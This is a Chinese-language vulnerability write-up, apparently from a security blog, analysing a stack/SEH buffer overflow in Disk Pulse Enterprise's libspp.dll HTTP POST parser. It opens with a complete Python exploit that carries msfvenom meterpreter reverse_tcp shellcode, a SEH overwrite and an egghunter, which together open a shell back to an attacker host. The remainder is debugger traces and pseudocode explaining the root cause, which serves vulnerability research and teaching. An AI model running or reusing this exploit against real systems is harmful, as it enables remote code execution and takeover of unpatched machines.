作者:k0shl 转载请注明出处:https://whereisk0shl.top
漏洞说明
Disk Pulse Eneterprise是一款监视磁盘变化的软件,它可以通过一个管理端口9120或者web管理窗口80对软件进行连接管理,从而监视磁盘的变化情况。在Disk Pulse Eneterprise中有一个动态链接库libspp.dll,其中有一些负责http操作的函数,问题就出现在这个动态链接库中,在处理post数据时,由于对于post数据没有进行严格的长度控制,导致在执行获取post数据时向无效内存拷贝数据造成缓冲区溢出,触发seh异常行为处理,最后控制eip,执行任意代码。下面对此漏洞进行详细分析。
软件下载:
https://www.exploit-db.com/apps/a679e77e57bf178b22bff5e86409a451-diskpulseent_setup_v9.0.34.exe
PoC:
import socket
import sys
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.123.132',80))
#bad chars \x00\x0a\x0d\x26
#msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.123.128 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x26' -f python --smallest
#payload size 308
buf = ""
buf += "\xda\xd9\xba\x43\x1b\x3f\x40\xd9\x74\x24\xf4\x58\x2b"
buf += "\xc9\xb1\x47\x31\x50\x18\x03\x50\x18\x83\xc0\x47\xf9"
buf += "\xca\xbc\xaf\x7f\x34\x3d\x2f\xe0\xbc\xd8\x1e\x20\xda"
buf += "\xa9\x30\x90\xa8\xfc\xbc\x5b\xfc\x14\x37\x29\x29\x1a"
buf += "\xf0\x84\x0f\x15\x01\xb4\x6c\x34\x81\xc7\xa0\x96\xb8"
buf += "\x07\xb5\xd7\xfd\x7a\x34\x85\x56\xf0\xeb\x3a\xd3\x4c"
buf += "\x30\xb0\xaf\x41\x30\x25\x67\x63\x11\xf8\xfc\x3a\xb1"
buf += "\xfa\xd1\x36\xf8\xe4\x36\x72\xb2\x9f\x8c\x08\x45\x76"
buf += "\xdd\xf1\xea\xb7\xd2\x03\xf2\xf0\xd4\xfb\x81\x08\x27"
buf += "\x81\x91\xce\x5a\x5d\x17\xd5\xfc\x16\x8f\x31\xfd\xfb"
buf += "\x56\xb1\xf1\xb0\x1d\x9d\x15\x46\xf1\x95\x21\xc3\xf4"
buf += "\x79\xa0\x97\xd2\x5d\xe9\x4c\x7a\xc7\x57\x22\x83\x17"
buf += "\x38\x9b\x21\x53\xd4\xc8\x5b\x3e\xb0\x3d\x56\xc1\x40"
buf += "\x2a\xe1\xb2\x72\xf5\x59\x5d\x3e\x7e\x44\x9a\x41\x55"
buf += "\x30\x34\xbc\x56\x41\x1c\x7a\x02\x11\x36\xab\x2b\xfa"
buf += "\xc6\x54\xfe\x97\xc3\xc2\xc1\xc0\xb7\x92\xaa\x12\x48"
buf += "\x83\x76\x9a\xae\xf3\xd6\xcc\x7e\xb3\x86\xac\x2e\x5b"
buf += "\xcd\x22\x10\x7b\xee\xe8\x39\x11\x01\x45\x11\x8d\xb8"
buf += "\xcc\xe9\x2c\x44\xdb\x97\x6e\xce\xe8\x68\x20\x27\x84"
buf += "\x7a\xd4\xc7\xd3\x21\x72\xd7\xc9\x4c\x7a\x4d\xf6\xc6"
buf += "\x2d\xf9\xf4\x3f\x19\xa6\x07\x6a\x12\x6f\x92\xd5\x4c"
buf += "\x90\x72\xd6\x8c\xc6\x18\xd6\xe4\xbe\x78\x85\x11\xc1"
buf += "\x54\xb9\x8a\x54\x57\xe8\x7f\xfe\x3f\x16\xa6\xc8\x9f"
buf += "\xe9\x8d\xc8\xdc\x3f\xeb\xbe\x0c\xfc"
#pop pop ret 1001A333
nseh = "\x90\x90\xEB\x0B"
seh = "\x33\xA3\x01\x10"
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
evil = "POST /login HTTP/1.1\r\n"
evil += "Host: 192.168.123.132\r\n"
evil += "User-Agent: Mozilla/5.0\r\n"
evil += "Connection: close\r\n"
evil += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
evil += "Accept-Language: en-us,en;q=0.5\r\n"
evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
evil += "Keep-Alive: 300\r\n"
evil += "Proxy-Connection: keep-alive\r\n"
evil += "Content-Type: application/x-www-form-urlencoded\r\n"
evil += "Content-Length: 17000\r\n\r\n"
evil += "username=admin"
evil += "&password=aaaaa\r\n"
evil += "\x41" * 12292 #subtract/add for payload
evil += "w00tw00t"
evil += "\x90" * 20
evil += buf
evil += "\x90" * 50
evil += "\x42" * 1614
evil += nseh
evil += seh
evil += "\x90" * 20
evil += egghunter
evil += "\x90" * 7000
print 'Sending evil buffer...'
s.send(evil)
print 'Payload Sent!'
s.close()
漏洞复现
首先发送payload,另一边触发崩溃,附加windbg,到达漏洞位置。
(7dc.10c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000386b ebx=00004268 ecx=016fd041 edx=0000384c esi=016fc7b4 edi=0016b6a4
eip=10092822 esp=016fba70 ebp=016fcfd8 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010287
libspp!SCA_HttpParser::GetNextString+0x52:
10092822 880c32 mov byte ptr [edx+esi],cl ds:0023:01700000=??
这里调用了libspp.dll的SCA_HttpParser的GetNextString函数,接下来程序进入SHE异常行为处理,通过覆盖SEH Handler打到代码执行。
0:011> g
(7dc.10c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=7c9232bc esi=00000000 edi=00000000
eip=41414141 esp=016fb6a0 ebp=016fb6c0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
41414141 ?? ???
漏洞分析
在libspp中SCA_HttpParse类负责处理HTTP的一些相关操作,其中有一个函数名为ExtractPostData负责处理post数据,在这个函数入口下断点。
0:011> bp 10092510
*** WARNING: Unable to verify checksum for C:\Program Files\Disk Pulse Enterprise\bin\libspp.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Disk Pulse Enterprise\bin\libspp.dll -
0:011> bl
0 e 10092510 0001 (0001) 0:**** libspp!SCA_HttpParser::ExtractPostData
0:011> g
Breakpoint 0 hit
eax=0000016c ebx=016fd120 ecx=016fd00c edx=0016b6a4 esi=016fd730 edi=101b0c42
eip=10092510 esp=016fcfb4 ebp=016fd00c iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
libspp!SCA_HttpParser::ExtractPostData:
10092510 b810150000 mov eax,1510h
发送payload之后命中断点,此时观察一下传参情况。
0:011> dd esp
016fcfb4 10091d23 0016b6a4 00004268 016fcfd8
016fcfc4 016fd730 0016d771 000043d4 00b1a310
0:011> dc 0016b6a4
0016b6a4 72657375 656d616e 6d64613d 70266e69 username=admin&p
0016b6b4 77737361 3d64726f 61616161 410a0d61 assword=aaaaa..A
0016b6c4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0016b6d4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0016b6e4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0016b6f4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0016b704 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
post数据作为第二个参数传入,注意是完整传入,这里继续单步跟踪,到达之前说到的GetNextString函数。
0:011> p
eax=0016b6a4 ebx=00000000 ecx=016fd00c edx=00004268 esi=016fd730 edi=016fd00c
eip=10092554 esp=016fba84 ebp=016fd00c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
libspp!SCA_HttpParser::ExtractPostData+0x44:
10092554 e877020000 call libspp!SCA_HttpParser::GetNextString (100927d0)
0:011> dd esp
016fba84 0016b6a4 00004268 016fcfd8 016fc7b4
0:011> dc poi(esp)
0016b6a4 72657375 656d616e 6d64613d 70266e69 username=admin&p
0016b6b4 77737361 3d64726f 61616161 410a0d61 assword=aaaaa..A
0016b6c4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0016b6d4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0016b6e4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
这个函数会做一件事情,就是将第一个参数,也就是post数据进行拆分,将每一部分分离出来作为后续处理,单步步过,可以看到第一次进入GetNextString之后,拆分了第一个数据。
0:011> p
eax=00000001 ebx=00000000 ecx=016fd026 edx=0000000e esi=016fd730 edi=016fd00c
eip=10092559 esp=016fba94 ebp=016fd00c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
libspp!SCA_HttpParser::ExtractPostData+0x49:
10092559 85c0 test eax,eax
0:011> dd 016fcfd8
016fcfd8 0000000e 1008cc39 0016b538 000043d4
016fcfe8 0000016c 016fd120 00000000 00b1a310
0:011> dc 16fc7b4
016fc7b4 72657375 656d616e 6d64613d 00006e69 username=admin..
第一次分离出来了username,接下来,再次进入GetNextString开始拆分第二个String,这个拆分过程会执行一系列的拷贝操作。
.text:10092814 loc_10092814: ; CODE XREF: SCA_HttpParser::GetNextString(char const *,ulong,ulong *,char *)+5Ej
.text:10092814 cmp cl, 0Ah
.text:10092817 jz short loc_10092830
.text:10092819 cmp cl, 0Dh
.text:1009281C jz short loc_10092830
.text:1009281E cmp eax, ebx
.text:10092820 jnb short loc_10092830
.text:10092822 mov [edx+esi], cl
.text:10092825 mov cl, [eax+edi+1]
.text:10092829 inc edx
.text:1009282A inc eax
.text:1009282B cmp cl, 26h
.text:1009282E jnz short loc_10092814
这个loc块负责拷贝,其中10092822地址就是触发漏洞的关键位置,esi是待拷贝的缓冲区首地址,edx是拷贝长度,cl是拷贝内容,这里是一个字一个字拷贝的。
因此,当超过开辟缓冲区大小的时候,就会引发向无效地址拷贝的问题。
eax=0000386b ebx=00004268 ecx=016fd041 edx=0000384c esi=016fc7b4 edi=0016b6a4
eip=10092822 esp=016fba70 ebp=016fcfd8 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010287
libspp!SCA_HttpParser::GetNextString+0x52:
10092822 880c32 mov byte ptr [edx+esi],cl ds:0023:01700000=??
看一下edx+esi的值,可以看到,后面已经超过了开辟缓冲区的大小,后面就是无效缓冲区了。
0:011> dc 016fc7b4+3840
016ffff4 41414141 41414141 41414141 ???????? AAAAAAAAAAAA????
01700004 ???????? ???????? ???????? ???????? ????????????????
01700014 ???????? ???????? ???????? ???????? ????????????????
之后来看一下ecx的值
0:011> dd ecx
016fd041 41414141 41414141 41414141 41414141
016fd051 41414141 41414141 41414141 41414141
016fd061 41414141 41414141 41414141 41414141
016fd071 41414141 41414141 41414141 41414141
016fd081 41414141 41414141 41414141 41414141
016fd091 41414141 41414141 41414141 41414141
cl就是将ecx的低地址一个字节一个字节拷贝,这里由于向无效地址拷贝,引发SEH异常处理,最后达到代码执行,来看一下伪代码。
int __thiscall SCA_HttpParser::ExtractPostData(SCA_HttpParser *this, const char *a2, unsigned __int32 a3, unsigned __int32 *a4, struct
SCA_ConfigObj *a5)
{
v19 = this;
v16 = 0;
v18 = 0;
v17 = 0;
if ( SCA_HttpParser::GetNextString(a2, a3, a4, &v28) )
{
while ( 1 )
{
……
LABEL_18:
if ( !SCA_HttpParser::GetNextString(a2, a3, a4, &v28) )
return 1;
}
v15 = 1;
goto LABEL_17;
}
return 1;
}
再来看一下GetNextString函数的伪代码。
int __stdcall SCA_HttpParser::GetNextString(const char *a2, unsigned __int32 a3, unsigned __int32 *a4, char *a5)
{
int v4; // edx@1
unsigned __int32 i; // eax@1
char v6; // cl@2
char v7; // cl@6
int result; // eax@13
v4 = 0;
for ( i = *a4; i < a3; ++i )
{
v6 = a2[i];
if ( v6 != 38 && v6 != 10 && v6 != 13 )
break;
}
v7 = a2[i];
if ( v7 && i < a3 )
{
for ( ; v7 != 38; ++i )
{
if ( v7 == 10 )
break;
if ( v7 == 13 )
break;
if ( i >= a3 )
break;
a5[v4] = v7;
v7 = a2[i + 1];
++v4;
}
a5[v4] = 0;
*a4 = i;
result = 1;
}
else
{
result = 0;
}
return result;
}